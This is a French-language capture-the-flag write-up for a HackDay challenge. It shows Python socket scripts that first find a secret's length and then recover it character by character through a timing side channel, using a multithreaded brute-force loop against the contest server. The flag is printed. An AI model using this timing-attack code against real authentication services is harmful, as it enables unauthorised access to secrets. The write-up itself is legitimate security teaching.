Who cares about SSI anyway ?

Flag: HACKDAY{TIM3_t0_FlAg}

Challenge

Description


A system administrator, frustrated after a heated debate about cybersecurity standards, ended up creating a poorly secured cheat sheet. Convinced that he could outsmart his own cybersecurity experts, he disregarded some basic principles. The result? A vulnerable document that might hold sensitive information. Can you uncover his mistakes and decipher the secrets hidden ?

challenges.hackday.fr:48118

Solution

Grâce à ce que répond le serveur, on commence par déterminer la taille du flag :

import socket

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('challenges.hackday.fr', 48118))
client.settimeout(3)
client.recv(1024)

for i in range(1, 25):
  client.send(b'a' * i + b'\n')
  data = client.recv(1024)
  if not data.startswith(b'Wrong length'):
    print(f'Flag size: {i}')

# Flag size: 21

Maintenant, on sait que le flag commence par HACKDAY. Si l'on essaie ça, on se rend compte qu'il y a un délai de réponse.

import socket

size = 21

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('challenges.hackday.fr', 48118))
client.settimeout(3)
client.recv(1024)

base = b'HACKDAY{'
client.send(base + b'!' * (size - len(base)) + b'\n')
start_at = time.time()
data = client.recv(1024)
duration = time.time() - start_at
print(duration)
# 0.8642592430114746

Ce délai augmente pour chaque lettre correcte de gauche à droite. On va utiliser ce délai de réponse pour savoir quelles sont les bonnes lettres (il faut avoir une connexion stable).

Comme le temps d'attente est linéaire, on a vite fait d'attendre 2s par lettre. J'ai donc multithreadé le script pour gagner du temps, mais limité à 20 threads pour réduire le risque d'instabilité et donc de faux résultats.

import socket
import string
import time
import threading

max_thread = threading.Semaphore(20)

class Breaker(threading.Thread):
  def __init__(self, attempt: str, size: int):
    super().__init__()
    self.attempt = attempt
    self.size = size
    self.duration = None
  
  def run(self):
    with max_thread:
      client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      client.connect(('challenges.hackday.fr', 48118))
      client.settimeout(3)
      try:
        client.recv(1024)
        attempt = self.attempt + '_' * (self.size - len(self.attempt))
        start = time.time()
        client.send(attempt.encode() + b'\n')
        client.recv(1024)
        self.duration = time.time() - start
      except:
        print('timeout')
        exit(1)
  
  def __repr__(self):
    return f'{self.attempt} ({self.duration})'
  
flag = 'HACKDAY{TIM' # à compléter à chaque fois
size = 21
charset = string.ascii_letters + string.digits + string.punctuation

while len(flag) < size:
  threads = [Breaker(flag + c, size) for c in charset]
  for thread in threads:
    thread.start()

  for thread in threads:
    thread.join()
    
  best = sorted(threads, key=lambda o: o.duration, reverse=True)[0]
  flag = best.attempt
  print(best)

# Résultat du script :
# HACKDAY{TIM3 (1.317502737045288)

# Il faut mettre à jour la variable flag et relancer.

Dernière mise à jour

Cet article vous a-t-il été utile ?